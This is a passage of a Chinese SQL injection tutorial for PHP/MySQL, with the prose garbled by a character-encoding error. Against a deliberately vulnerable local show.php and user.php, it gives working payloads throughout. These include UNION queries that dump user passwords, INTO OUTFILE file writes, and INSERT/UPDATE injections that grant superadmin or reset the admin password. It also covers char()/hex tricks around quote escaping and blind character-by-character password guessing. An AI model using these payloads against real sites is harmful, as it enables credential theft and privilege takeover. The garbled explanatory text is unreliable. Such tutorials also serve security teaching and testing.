INSERT INTO `article` VALUES (2, 'ÎÒºÞËÀÄã', 'ÎÒºÞËÀÄãÁË£¬ÄãÊÇʲô¶«Î÷°¡');
¡¡¡¡Õâ¸ö±íµÄ×Ö¶ÎÀàÐÍ·Ö±ðÊÇint¡¢varchar¡¢text£¬Èç¹ûÎÒÃÇÓÃUNIONÁªºÏ²éѯµÄʱºò£¬ºóÃæµÄ²éѯµÄ±íµÄ½á¹¹ºÍÕâ¸öÒ»Ñù¡£¾Í¿ÉÒÔÓá°SELECT *¡±£¬Èç¹ûÓÐÈκÎÒ»¸ö²»Ò»Ñù£¬ÄÇÎÒÃÇÖ»ÄÜÓá°SELECT 1,1,1,1¡¡¡±ÁË¡£
¡¡¡¡ÏÂÃæµÄÎļþÊÇÒ»¸öºÜ±ê×¼¡¢¼òµ¥µÄÏÔʾÎÄÕµÄÎļþ£¬ºÜ¶àÕ¾µã¶¼ÊÇÕâÖÖÒ³ÃæÃ»ÓйýÂË£¬ËùÒÔ³ÉΪ×îÃ÷ÏÔµÄ×¢Èëµã£¬ÏÂÃæ¾ÍÄÃÕâ¸öÎļþ×÷ΪÀý×Ó£¬¿ªÊ¼ÎÒÃǵÄ×¢ÈëʵÑé¡£
<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";
mysql_connect($servername,$dbusername,$dbpassword) or die ("Êý¾Ý¿âÁ¬½Óʧ°Ü");
$sql = "SELECT * FROM article WHERE articleid='$id'";
$result = mysql_db_query($dbname,$sql);
$row = mysql_fetch_array($result);
if (!$row)
{
¡¡¡¡echo "¸Ã¼Ç¼²»´æÔÚ";
¡¡¡¡echo "<p>SQL Query:$sql<p>";
¡¡¡¡exit;
}
echo "title<br>".$row."<p>\n";
echo "content<br>".$row."<p>\n";
echo "<p>SQL Query:$sql<p>";
?>
Õý³£Çé¿öÏ£¬ÎÒÃÇÌá½»ÕâÑùµÄÒ»¸öÇëÇó£º
http://127.0.0.1/injection/show.php?id=1
¡¡¡¡¾Í»áÏÔʾarticleidΪ1µÄÎÄÕ£¬µ«ÎÒÃDz»ÐèÒªÎÄÕ£¬ÎÒÃÇÐèÒªµÄÊÇÓû§µÄÃô¸ÐÐÅÏ¢£¬¾ÍÒª²éѯuser±í£¬ÏÖÔÚÊDzéѯ¸Õ²ÅÎÒÃǽ¨Á¢µÄuser±í¡£
¡¡¡¡ÓÉÓÚ$idûÓйýÂ˸øÎÒÃÇÖÆÔìÁËÕâ¸ö»ú»á£¬ÎÒÃÇÒª°Ñshow.phpÎļþÖеÄSQLÓï¾ä¸Äд³ÉÀàËÆÕâ¸öÑù×Ó£º
SELECT * FROM article WHERE articleid='$id' UNION SELECT * FROM user ¡¡
¡¡¡¡ÓÉÓÚÕâ¸ö´úÂëÊÇÓе¥ÒýºÅ°üº¬×űäÁ¿µÄ£¬ÎÒÃÇÏÖÔÚÌá½»£º
http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/*
¡¡¡¡°´µÀÀí˵£¬Ó¦¸ÃÏÔʾÓû§±íµÄusername¡¢passwordÁ½¸ö×ֶεÄÄÚÈݲŶ԰¡£¬ÔõôÕý³£ÏÔʾÎÄÕÂÄØ£¿Èçͼ£º
¡¡¡¡Æäʵ£¬ÎÒÃÇÌá½»µÄarticleid=1ÊÇarticle±íÀï´æÔڵģ¬Ö´Ðнá¹û¾ÍÊÇÕæÁË£¬×ÔÈ»·µ»ØÇ°ÃæSELECTµÄ½á¹û£¬µ±ÎÒÃÇÌá½»¿ÕµÄÖµ»òÕßÌá½»Ò»¸ö²»´æÔÚµÄÖµ£¬¾Í»á±Ä³öÎÒÃÇÏëÒªµÄ¶«Î÷£º
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/*
http://127.0.0.1/injection/show.php?id=99999' union select 1,username,password from user/*
¡¡¡¡Èçͼ£º
¡¡¡¡ÏÖÔÚ¾ÍÔÚ×Ö¶ÎÏà¶ÔÓ¦µÄµØ·½ÏÔʾ³öÎÒÃÇËùÒªµÄÄÚÈÝ¡£Èç¹û»¹²»Çå³þ˼·ÒÔ¼°¾ßÌåµÄÓ¦Ó㬺óÃæ»¹»á½²µ½Ò»Ð©¸ß¼¶µÄ¼¼ÇÉ¡£
Èý¡¢µ¼³öÎļþ
¡¡¡¡Õâ¸öÊDZȽÏÈÝÒ×¹¹Ô쵫ÓÖÓÐÒ»¶¨ÏÞÖÆµÄ¼¼Êõ£¬ÎÒÃǾ³£¿ÉÒÔ¿´¼ûÒÔϵÄSQLÓï¾ä£º
select * from table into outfile 'c:/file.txt'
select * from table into outfile '/var/www/file.txt'
¡¡¡¡µ«ÕâÑùµÄÓï¾ä£¬Ò»°ãºÜÉÙÓÃÔÚ³ÌÐòÀÓÐË»á°Ñ×Ô¼ºµÄÊý¾Ýµ¼³öÄØ£¿³ý·ÇÊDZ¸·Ý£¬µ«ÎÒҲûÓмû¹ýÕâÖÖ±¸·Ý·¨¡£ËùÒÔÎÒÃÇÒª×Ô¼º¹¹Ô죬µ«±ØÐëÓÐÏÂÃæµÄǰÌáÌõ¼þ£º
• ±ØÐëµ¼³öµ½ÄÜ·ÃÎʵÄĿ¼£¬ÕâÑù²ÅÄÜÏÂÔØ¡£
• ÄÜ·ÃÎʵÄĿ¼±ØÐëÒªÓпÉдµÄȨÏÞ£¬·ñÔòµ¼³ö»áʧ°Ü¡£
• È·±£Ó²ÅÌÓÐ×ã¹»µÄÈÝÁ¿ÄÜÈÝϵ¼³öµÄÊý¾Ý£¬Õâ¸öºÜÉÙ¼û¡£
• È·±£ÒªÒѾ´æÔÚÏàͬµÄÎļþÃû£¬»áµ¼Öµ¼³öʧ°Ü£¬²¢Ìáʾ£º¡°File 'c:/file.txt' already exists¡±£¬ÕâÑù¿ÉÒÔ·ÀÖ¹Êý¾Ý¿â±íºÍÎļþÀýÈç/etc/passwd±»ÆÆ»µ¡£
¡¡¡¡ÎÒÃǼÌÐøÓÃÉÏÃæµÄuser.phpºÍshow.phpÁ½¸öÎļþ¾ÙÀý£¬Èç¹ûÒ»¸öÒ»¸öÓû§²Â½âʵÔÚÊÇÌ«ÂýÁË£¬Èç¹û¶Ô·½µÄÃÜÂë»òÕ߯äËûÃô¸ÐÐÅÏ¢ºÜ¸´ÔÓ£¬ÓÖ²»»áдExploit£¬Òª²Âµ½Ê²Ã´Ê±ºò°¡£¿À´µã´ó·¶Î§µÄ£¬Ö±½Óµ¼³öÈ«²¿Êý¾ÝºÃÁË¡£user.phpÎļþµÄ²éѯÓï¾ä£¬ÎÒÃǰ´ÕÕinto outfileµÄ±ê×¼¸ñʽ£¬×¢Èë³ÉÏÂÃæµÄÓï¾ä¾ÍÄܵ¼³öÎÒÃÇÐèÒªµÄÐÅÏ¢ÁË£º
SELECT * FROM user WHERE username='$username' into outfile 'c:/file.txt'
¡¡¡¡ÖªµÀÔõôÑùµÄÓï¾ä¿ÉÒÔʵÏÖÎÒÃǵÄÄ¿µÄ£¬ÎÒÃǾͺÜÈÝÒ×¹¹Ôì³öÏàÓ¦µÄÓï¾ä£º
http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt
¡¡¡¡³öÏÖÁË´íÎóÌáʾ£¬µ«´Ó·µ»ØµÄÓï¾ä¿´À´£¬ÎÒÃǵÄSQLÓï¾äȷʵÊÇ×¢ÈëÕýÈ·ÁË£¬¼´Ê¹³öÏÖ´íÎó£¬Ò²ÊDzéѯµÄÎÊÌâÁË£¬Îļþ»¹ÊǹԹԵı»µ¼³öÁË£¬Èçͼ£º
¡¡¡¡ÓÉÓÚ´úÂë±¾Éí¾ÍÓÐWHEREÀ´Ö¸¶¨Ò»¸öÌõ¼þ£¬ËùÒÔÎÒÃǵ¼³öµÄÊý¾Ý½ö½öÊÇÂú×ãÕâ¸öÌõ¼þµÄÊý¾Ý£¬Èç¹ûÎÒÃÇÏëµ¼³öÈ«²¿ÄØ£¿ÆäʵºÜ¼òµ¥£¬Ö»ÒªÊ¹Õâ¸öWHEREÌõ¼þΪ¼Ù£¬²¢ÇÒÖ¸¶¨Ò»¸ö³ÉÕæµÄÌõ¼þ£¬¾Í¿ÉÒÔ²»Óñ»Êø¸¿ÔÚWHEREÀïÁË£¬À´¿´¿´¾µä1=1·¢»Ó×÷ÓÃÁË£º
http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt
¡¡¡¡Êµ¼ÊµÄSQLÓï¾ä±äΪ£º
SELECT * FROM user WHERE username='' or 1=1 into outfile 'c:/file.txt'
¡¡¡¡ÕâÑùusernameµÄ²ÎÊýÊǿյ쬾ÍÊǼÙÁË£¬1=1ÓÀÔ¶ÊÇÕæµÄ£¬ÄÇorÇ°ÃæµÄWHERE¾Í²»Æð×÷ÓÃÁË£¬µ«Ç§Íò±ðÓÃandŶ£¬·ñÔòÊDz»Äܵ¼³öÈ«²¿Êý¾ÝµÄ¡£
¡¡¡¡¼ÈÈ»Ìõ¼þÂú×㣬ÔÚÕâÖÖÇé¿öϾÍÖ±½Óµ¼³öËùÓÐÊý¾Ý£¡Èçͼ£º
¡¡¡¡µ«ÊÇ¿ç±íµÄµ¼³öÎļþµÄÓï¾ä¸ÃÔõô¹¹ÔìÄØ£¿»¹ÊÇÓõ½UNIONÁªºÏ²éѯ£¬ËùÒÔÒ»ÇÐǰÌáÌõ¼þ¶¼Ó¦¸ÃºÍUNION¡¢µ¼³öÊý¾ÝÒ»Ñù£¬¿ç±íµ¼³öÊý¾ÝÕý³£Çé¿öÏÂÓ¦¸ÃÏàÏÂÃæµÄÒ»Ñù£º
SELECT * FROM article WHERE articleid='1' union select 1,username,password from user into outfile 'c:/user.txt'
¡¡¡¡ÕâÑù¿ÉÒÔµ¼³öÎļþÁË£¬Èç¹ûÎÒÃÇÒª¹¹Ôì¾ÍÌá½»£º
http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user into outfile 'c:/user.txt
¡¡¡¡ÎļþÊdzöÀ´ÁË£¬¿ÉÊÇÓÐÒ»¸öÎÊÌ⣬ÓÉÓÚÇ°ÃæµÄ²éѯarticleid='1'ÎªÕæÁË£¬ËùÒÔµ¼³öµÄÊý¾ÝÒ²ÓÐÕû¸öÎÄÕµÄÒ»²¿·Ö£¬Èçͼ£º
¡¡¡¡ËùÒÔÎÒÃǰÑÓ¦¸ÃÊ¹Ç°ÃæµÄ²éѯÓï¾äΪ¼Ù£¬²ÅÄÜÖ»µ¼³öºóÃæ²éѯµÄÄÚÈÝ£¬Ö»ÒªÌá½»£º
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt
¡¡¡¡ÕâÑù²ÅÄܵõ½ÎÒÃÇÏëÒªµÄ×ÊÁÏ£º
¡¡¡¡ÖµµÃ×¢ÒâµÄÊÇÏëÒªµ¼³öÎļþ£¬±ØÐëmagic_quotes_gpcûÓдò¿ª£¬²¢ÇÒ³ÌÐòҲûÓÐÓõ½addslashes()º¯Êý£¬»¹Óв»ÄܶԵ¥ÒýºÅ×öÈκιýÂË£¬ÒòΪÎÒÃÇÔÚÌá½»µ¼³ö·¾¶µÄʱºò£¬Ò»¶¨ÒªÓÃÒýºÅ°üº¬ÆðÀ´£¬·ñÔò£¬ÏµÍ³²»»áÈÏʶÄÇÊÇÒ»¸ö·¾¶£¬Ò²²»Óó¢ÊÔÓÃchar()»òÕßʲôº¯Êý£¬ÄÇÊÇͽÀÍ¡£
INSERT
¡¡¡¡Èç¹û´ó¼ÒÈÏΪMYSQLÖÐ×¢Èë½ö½öÊÊÓÃÓÚSELECT¾Í´ó´íÌØ´íÁË£¬Æäʵ»¹ÓÐÁ½¸öΣº¦¸ü´óµÄ²Ù×÷£¬ÄǾÍÊÇINSERTºÍUPDATEÓï¾ä£¬ÕâÀàÀý×Ó²»¶à£¬ÏÈÃæÏÈ˵˵INSERT£¬ÕâÖ÷ÒªÓ¦ÓÃÓÚ¸Äд²åÈëµÄÊý¾Ý£¬ÎÒÃÇÀ´¿´¸ö¼òµ¥¶øÓֹ㷺´æÔÚµÄÀý×Ó£¬¿´¿´ÏÂÃæµÄÊý¾Ý½á¹¹£º
CREATE TABLE `user` (
`userid` INT NOT NULL AUTO_INCREMENT ,
`username` VARCHAR( 20 ) NOT NULL ,
`password` VARCHAR( 50 ) NOT NULL ,
`homepage` VARCHAR( 255 ) NOT NULL ,
`userlevel` INT DEFAULT '1' NOT NULL ,
PRIMARY KEY ( `userid` )
);
¡¡¡¡ÆäÖеÄuserlevel´ú±íÓû§µÄµÈ¼¶£¬1ÊÇÆÕͨÓû§£¬2ÊÇÆÕͨ¹ÜÀíÔ±£¬3Êdz¬¼¶¹ÜÀíÔ±£¬Ò»¸ö×¢²á³ÌÐòĬÈÏÊÇ×¢²á³ÉÆÕͨÓû§£¬ÈçÏ£º
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');
¡¡¡¡Ä¬ÈÏuserlevel×Ö¶ÎÊDzåÈë1£¬ÆäÖеıäÁ¿¶¼ÊÇûÓо¹ý¹ýÂ˾ÍÖ±½ÓдÈëÊý¾Ý¿âµÄ£¬²»ÖªµÀ´ó¼ÒÓÐʲôÏë·¨£¿¶Ô£¬¾ÍÊÇÖ±½Ó×¢È룬ʹÎÒÃÇÒ»×¢²á¾ÍÊdz¬¼¶¹ÜÀíÔ±¡£ÎÒÃÇ×¢²áµÄʱºò£¬¹¹Ôì$homepage±äÁ¿£¬¾Í¿ÉÒÔ´ïµ½¸ÄдµÄÄ¿µÄ£¬Ö¸¶¨$homepage±äÁ¿Îª£º
http://4ngel.net', '3¡¯)#
¡¡¡¡²åÈëÊý¾Ý¿âµÄʱºò¾Í±ä³É£º
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3¡¯)#', '1');
¡¡¡¡ÕâÑù¾Í×¢²á³ÉΪ³¬¼¶¹ÜÀíÔ±ÁË¡£µ«ÕâÖÖÀûÓ÷½·¨Ò²ÓÐÒ»¶¨µÄ¾ÖÏÞÐÔ£¬±ÈÈ磬ÎÒûÓÐÐèÒª¸ÄдµÄ±äÁ¿Èçuserlevel×Ö¶ÎÊÇÊý¾Ý¿âµÄµÚÒ»¸ö×ֶΣ¬Ç°ÃæÃ»Óеط½¸øÎÒÃÇ×¢È룬ÎÒÃÇҲûÓа취ÁË¡£
»òÐíINSERT»¹Óиü¹ã·ºµÄÓ¦Ó㬴ó¼Ò¿ÉÒÔ×ÔÐÐÑо¿£¬µ«ÔÀí¶¼ÊÇÒ»ÑùµÄ¡£
UPDATE
¡¡¡¡ºÍINSERTÏà±È£¬UPDATEµÄÓ¦Óøü¼Ó¹ã·º£¬Èç¹û¹ýÂ˲»¹»£¬×ãÒÔ¸ÄдÈκÎÊý¾Ý£¬»¹ÊÇÄøղŵÄ×¢²á³ÌÐòÀ´Ëµ£¬Êý¾Ý½á¹¹Ò²²»±ä£¬ÎÒÃÇ¿´Ò»ÏÂÓû§×Ô¼ºÐÞ¸Ä×Ô¼ºµÄ×ÊÁÏ£¬SQLÓï¾äÒ»°ã¶¼ÊÇÕâÑùдµÄ£º
UPDATE user SET password='$password', homepage='$homepage' WHERE id='$id'
¡¡¡¡Óû§¿ÉÒÔÐÞ¸Ä×Ô¼ºµÄÃÜÂëºÍÖ÷Ò³£¬´ó¼ÒÓÐʲôÏë·¨£¿×ܲ»ÖÁÓÚ»¹ÊÇÌáÉýȨÏÞ°É£¿³ÌÐòÖеÄSQLÓï¾äÓÖûÓиüÐÂuserlevel×ֶΣ¬ÔõôÌáÉý°¡£¿»¹ÊÇÀϰ취£¬¹¹Ôì$homepage±äÁ¿, Ö¸¶¨$homepage±äÁ¿Îª£º
http://4ngel.net', userlevel='3
¡¡¡¡Õû¸öSQLÓï¾ä¾Í±ä³ÉÕâÑù£º
UPDATE user SET password='mypass', homepage='http://4ngel.net', userlevel='3' WHERE id='$id'
¡¡¡¡ÎÒÃÇÊDz»ÊÇÓÖ±ä³É³¬¼¶¹ÜÀíÔ±ÁË£¿³ÌÐò²»¸üÐÂuserlevel×ֶΣ¬ÎÒÃÇ×Ô¼ºÀ´¡£
»¹Óиü¼Ó¾øµÄ£¬Ö±½ÓÐÞ¸ÄÈÎÒâÓû§µÄ×ÊÁÏ£¬»¹ÊǸղŵÄÀý¾ä£¬µ«Õâ´Î°²È«Ò»µã£¬Ê¹ÓÃMD5¼ÓÃÜ£º
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'
¡¡¡¡¾¡¹ÜÃÜÂë±»¼ÓÃÜÁË£¬µ«ÎÒÃÇ»¹ÊÇ¿ÉÒÔ¹¹ÔìÎÒÃÇÐèÒªµÄÓï¾ä£¬ÎÒÃÇÖ¸¶¨$passwordΪ£º
mypass)' WHERE username='admin'#
¡¡¡¡ÕâʱÕû¸öÓï¾ä±äΪ£º
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'
¡¡¡¡ÕâÑù¾Í¸ü¸ÄÁ˸üеÄÌõ¼þ£¬ÎÒ¹ÜÄãºóÃæµÄ´úÂëÊDz»ÊÇÔÚ¿ÞÕâ˵£ºÎÒÃÇ»¹Ã»ÓÐÖ´Ðа¡¡£µ±È»£¬Ò²¿ÉÒÔ´Ó$idÏÂÊÖ£¬Ö¸¶¨$idΪ£º
' OR username='admin'
¡¡¡¡ÕâʱÕû¸öÓï¾ä±äΪ£º
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'
¡¡¡¡ÕÕÑùÒ²¿ÉÒÔ´ïµ½Ð޸ĵÄÄ¿µÄ£¬ËùÒÔ˵עÈëÊǷdz£Áé»îµÄ¼¼Êõ¡£Èç¹ûÓÐЩ±äÁ¿ÊÇ´ÓÊý¾Ý¿â¶ÁÈ¡µÄ¹Ì¶¨Öµ£¬ÉõÖÁÓÃ$_SESSION['username']À´¶ÁÈ¡·þÎñÆ÷ÉϵÄSESSIONÐÅϢʱ£¬ÎÒÃǾͿÉÒÔÔÚÔÀ´µÄWHERE֮ǰ×Ô¼º¹¹ÔìWHERE²¢×¢Ê͵ôºóÃæµÄ´úÂ룬Óɴ˿ɼû£¬Áé»îÔËÓÃ×¢ÊÍÒ²ÊÇ×¢ÈëµÄ¼¼ÇÉÖ®Ò»¡£ÕâЩ¼¼ÇɰÑ×¢Èë·¢»ÓµÃÁÜÀ쾡Ö¡£²»µÃ²»ËµÊÇÒ»ÖÖÒÕÊõ¡£
¡¡¡¡±äÁ¿µÄÌá½»·½Ê½¿ÉÒÔÊÇGET»òPOST£¬Ìá½»µÄλÖÿÉÒÔÊǵØÖ·À¸¡¢±íµ¥¡¢Òþ²Ø±íµ¥±äÁ¿»òÐ޸ı¾µØCOOKIEÐÅÏ¢µÈ£¬Ìá½»µÄ·½Ê½¿ÉÒÔÊDZ¾µØÌá½»£¬·þÎñÆ÷ÉÏÌá½»»òÕßÊǹ¤¾ßÌá½»£¬¶àÖÖ¶àÑù¾Í¿´ÄãÈçºÎÔËÓÃÁË¡£
¸ß¼¶Ó¦ÓÃ
1¡¢ ʹÓÃMYSQLÄÚÖú¯Êý
¡¡¡¡ÎÒÃÇÔÚACCESS¡¢MSSQLÖеÄ×¢È룬Óкܶà±È½Ï¸ß¼¶µÄ×¢Èë·½·¨£¬±ÈÈçÉîÈ뵽ϵͳ£¬²ÂÖÐÎĵȣ¬ÕâЩ¶«Î÷£¬ÔÚMYSQLÒ²Äܺܺõõ½·¢»Ó£¬ÆäʵÔÚMYSQLÓкܶàÄÚÖú¯Êý¶¼¿ÉÒÔÓÃÔÚSQLÓï¾äÀÕâÑù¾Í¿ÉÒÔʹÎÒÃÇÄÜÔÚ×¢Èëʱ¸üÁé»î£¬µÃµ½¸ü¶à¹ØÓÚϵͳµÄÐÅÏ¢¡£Óм¸¸öº¯ÊýÊDZȽϳ£Óõģº
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
¡¡
¡¡¡¡¸÷¸öº¯ÊýµÄ¾ßÌå×÷Óôó¼Ò¿ÉÒÔ²éÔÄMYSQLÊֲᣬ±ÈÈçÏÂÃæÕâ¾äUPDATE£º
UPDATE article SET title=$title WHERE articleid=1
¡¡¡¡ÎÒÃÇ¿ÉÒÔÖ¸¶¨$titleΪÒÔÉϵĸ÷¸öº¯Êý£¬ÒòΪûÓб»ÒýºÅ°üº¬£¬ËùÒÔº¯ÊýÊÇÄÜÕýÈ·Ö´Ðеģº
UPDATE article SET title=DATABASE() WHERE id=1
#°Ñµ±Ç°Êý¾Ý¿âÃû¸üе½title×Ö¶Î
UPDATE article SET title=USER() WHERE id=1
#°Ñµ±Ç° MySQL Óû§Ãû¸üе½title×Ö¶Î
UPDATE article SET title=SYSTEM_USER() WHERE id=1
#°Ñµ±Ç° MySQL Óû§Ãû¸üе½title×Ö¶Î
UPDATE article SET title=SESSION_USER() WHERE id=1
#°Ñµ±Ç° MySQL Óû§Ãû¸üе½title×Ö¶Î
UPDATE article SET title=CURRENT_USER() WHERE id=1
#°Ñµ±Ç°»á»°±»Ñé֤ƥÅäµÄÓû§Ãû¸üе½title×Ö¶Î
¡¡¡¡Áé»îÔËÓÃMYSQLÄÚÖõĺ¯Êý£¬¿ÉÒÔ»ñµÃ²»ÉÙÓÐÓõÄÐÅÏ¢£¬±ÈÈçÊý¾Ý¿â°æ±¾¡¢Ãû×Ö¡¢Óû§¡¢µ±Ç°Êý¾Ý¿âµÈ£¬±ÈÈçÇ°Ãæ¿ç±í²éѯµÄÀý×Ó£¬Ìá½»£º
http://127.0.0.1/injection/show.php?id=1
¡¡¡¡¿ÉÒÔ¿´µ½Ò»ÆªÎÄÕ£¬ÎÒÃÇÔõôÑù²ÅÄÜÖªµÀMYSQLÊý¾Ý¿âµÄÏà¹ØÐÅÏ¢ÄØ£¿Í¬ÑùÒ²ÊÇÓÃMYSQLÄÚÖú¯ÊýÅäºÏUNIONÁªºÏ²éѯ£¬²»¹ýÏà±È֮Ͼͼòµ¥µÃ¶àÁË£¬ÉõÖÁ»¹¿ÉÒÔ¶ÁÈ¡Îļþ£¡¼ÈȻҪÓõ½UNION£¬Í¬ÑùÒªÂú×ãUNIONµÄÌõ¼þ¡ª¡ª×Ö¶ÎÊý¡¢Êý¾ÝÀàÐÍÏàͬ¡£Èç¹ûÎÒÃÇÖªµÀÁËÊý¾Ý½á¹¹£¬Ö±½Ó¹¹Ô죺
http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()
¡¡¡¡¾Í¿ÉÒÔ·µ»Øµ±Ç°Êý¾Ý¿âÃûºÍÊý¾Ý¿â°æ±¾£¬¹¹ÔìÊDZȽÏÈÝÒ׵ġ£
¡¡¡¡ÏÂÃæ¸½ÉÏÒ»¶ÎÓÉÎÒºÃÓÑSuper•HeiдµÄ´úÂ룬¿ÉÒÔ°Ñ×Ö·û´®×ª»»ÎªASCII´úÂë¡£¸ÐлÌṩ¡£
#!/usr/bin/perl
#cody by Super•Hei
#to angel
#C:\>test.pl c:\boot.ini
#99,58,92,98,111,111,116,46,105,110,105
$ARGC = @ARGV;
if ($ARGC != 1) {
¡¡¡¡print "Usage: $0 \n";
¡¡¡¡exit(1);
}
$path=shift;
@char = unpack('C*', $path);
$asc=join(",",@char);
print $asc;
2¡¢²»¼Óµ¥ÒýºÅ×¢Èë
×¢£ºÏÖÔÚÎÒÃǼÙÉèmagic_quotes_gpcΪonÁË¡£
¡¡¡¡ÖÚËùÖÜÖª£¬ÕûÐεÄÊý¾ÝÊDz»ÐèÒªÓÃÒýºÅÒýÆðÀ´µÄ£¬¶ø×Ö·û´®¾ÍÒªÓÃÒýºÅ£¬ÕâÑù¿ÉÒÔ±ÜÃâºÜ¶àÎÊÌâ¡£µ«ÊÇÈç¹û½ö½öÓÃÕûÐÎÊý¾Ý£¬ÎÒÃÇÊÇûÓа취עÈëµÄ£¬ËùÒÔÎÒÐèÒª°ÑÎÒÃǹ¹ÔìµÄÓï¾äת»»³ÉÕûÐÎÀàÐÍ£¬Õâ¸ö¾ÍÐèÒªÓõ½CHAR()£¬ASCII(),ORD(),CONV()ÕâЩº¯ÊýÁË£¬¾Ù¸ö¼òµ¥µÄÀý×Ó£º
SELECT * FROM user WHERE username='angel'
¡¡¡¡ÈçºÎʹ$username²»´øÒýºÅÄØ£¿ºÜ¼òµ¥ÎÒÃÇÕâÑùÌá½»¾Í¿ÉÒÔÁË¡£
SELECT * FROM user WHERE username=char(97,110,103,101,108)
# char(97,110,103,101,108) Ï൱ÓÚangel£¬Ê®½øÖÆ¡£
SELECT * FROM user WHERE username=0x616E67656C
# 0x616E67656C Ï൱ÓÚangel£¬Ê®Áù½øÖÆ¡£
¡¡¡¡ÆäËûº¯Êý´ó¼Ò×Ô¼ºÈ¥²âÊÔºÃÁË£¬µ«ÊÇǰÌá¾ÍÈçÉÏÃæËù˵µÄ£¬ÎÒÃÇ¿ÉÒÔ¹¹ÔìµÄ±äÁ¿²»±»ÒýºÅËù°üº¬²ÅÓÐÒâÒ壬²»È»ÎÒÃDz»¹Ü¹¹Ôìʲô£¬Ö»ÊÇ×Ö·û´®£¬·¢»Ó²»ÁË×÷Ó㬱ÈÈçÇ°Ãæ²ÂÃÜÂëµÄÀý×Ó(user,php)£¬ÎÒÃǰѲéѯÌõ¼þ¸ÄΪuserid£º
SELECT * FROM user WHERE userid=userid
¡¡¡¡°´ÕÕÕý³£µÄ£¬Ìá½»£º
http://127.0.0.1/injection/user.php?userid=1
¡¡¡¡¾Í¿ÉÒÔ²éѯuseridΪ1µÄÓû§×ÊÁÏ£¬ÒòΪ1ÊÇÊý×Ö£¬ËùÒÔÓÐûÓÐÒýºÅ¶¼ÎÞËùν£¬µ«ÊÇÈç¹ûÎÒÃǹ¹Ô죺
http://127.0.0.1/injection/user.php?userid=1 and password=mypass
¡¡¡¡¾ø¶Ô´íÎó£¬ÒòΪmypassÊÇ×Ö·û´®£¬³ý·ÇÌá½»£º
http://127.0.0.1/injection/user.php?userid=1 and password='mypass'
¡¡¡¡ÓÉÓÚmagic_quotes_gpc´ò¿ªµÄ¹ØÏµ£¬Õâ¸öÊǾø¶Ô²»¿ÉÄܵġ£ÒýºÅ»á±ä³É/'£¬ÎÒÃÇÓÐʲô°ì·¨¿ÉÒÔ°ÑÕâЩ×Ö·û´®±ä³ÉÕûÐÎÊý¾ÝÂ𣿾ÍÊÇÓÃCHAR()º¯Êý£¬Èç¹ûÎÒÃÇÌá½»£º
http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)
¡¡¡¡Õý³£·µ»Ø£¬Êµ¼ùÖ¤Ã÷£¬ÎÒÃÇÓÃCHAR()ÊÇ¿ÉÐеģ¬ÎÒÃǾͰÑCHAR()ÓýøLEFTº¯ÊýÀïÃæÖðλ²Â½â£¡
http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)=char(109)
¡¡¡¡Õý³£·µ»Ø£¬ËµÃ÷useridΪ1µÄÓû§£¬password×ֶεÚһλÊÇchar(109)£¬ÎÒÃǼÌÐø²Â£º
http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,2)=char(109,121)
¡¡¡¡ÓÖÕý³£·µ»Ø£¬ËµÃ÷ÕýÈ·£¬µ«ÕâÑùÓ°Ï쵽ЧÂÊ£¬¼ÈÈ»ÊÇÕûÐΣ¬ÎÒÃÇÍêÈ«¿ÉÒÔÓñȽÏÔËËã·ûÀ´±È½Ï£º
http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)
¡¡¡¡È»ºóÊʵ±µ÷Õûchar()ÀïÃæµÄÊý×ÖÀ´È·¶¨Ò»¸ö·¶Î§£¬ºÜ¿ì¾Í¿ÉÒԲ³öÀ´£¬µ½Á˺óÃæµÄʱºò£¬»¹ÊÇ¿ÉÒÔÓñȽÏÔËËã·ûÀ´±È½Ï£º
http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,3)>char(109,121,111)
¡¡¡¡¶øÔÀ´ÒѾ²ÂºÃµÄ²»ÓøıäÁË£¬ºÜ¿ì¾Í¿ÉÒÔ²ÂÍ꣺
http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,6)=char(109,121,112,97,115,115)
¡¡¡¡È»ºóÔÚmysql>ÃüÁîÌáʾ·ûÏ»òÕßÔÚphpMyadminÀïÃæÖ´ÐУº
select char(109,121,112,97,115,115)
¡¡¡¡¾Í»á·µ»Ø£ºmypass
¡¡¡¡µ±È»Ò²¿ÉÒÔʹÓÃSUBSTRING(str,pos,len)ºÍMID(str,pos,len)º¯Êý£¬´Ó×Ö·û´® str µÄ pos λÖÃÆð·µ»Ø len ¸ö×Ö·ûµÄ×Ó´®¡£Õâ¸öºÍACCESSÊÇÒ»ÑùµÄ¡£»¹ÊǸղŵÄÀý×Ó£¬ÎÒÃDzÂpassword×ֶεĵÚÈýλ¡¢µÚËÄλÊÔÊÔ£¬µÚÈýλÊÇp£¬µÚËÄλÊÇa£¬ÎÒÃÇÕâÑù¹¹Ô죺
http://127.0.0.1/injection/user.php?userid=1 and mid(password,3,1)=char(112)
http://127.0.0.1/injection/user.php?userid=1 and mid(password,4,1)=char(97)
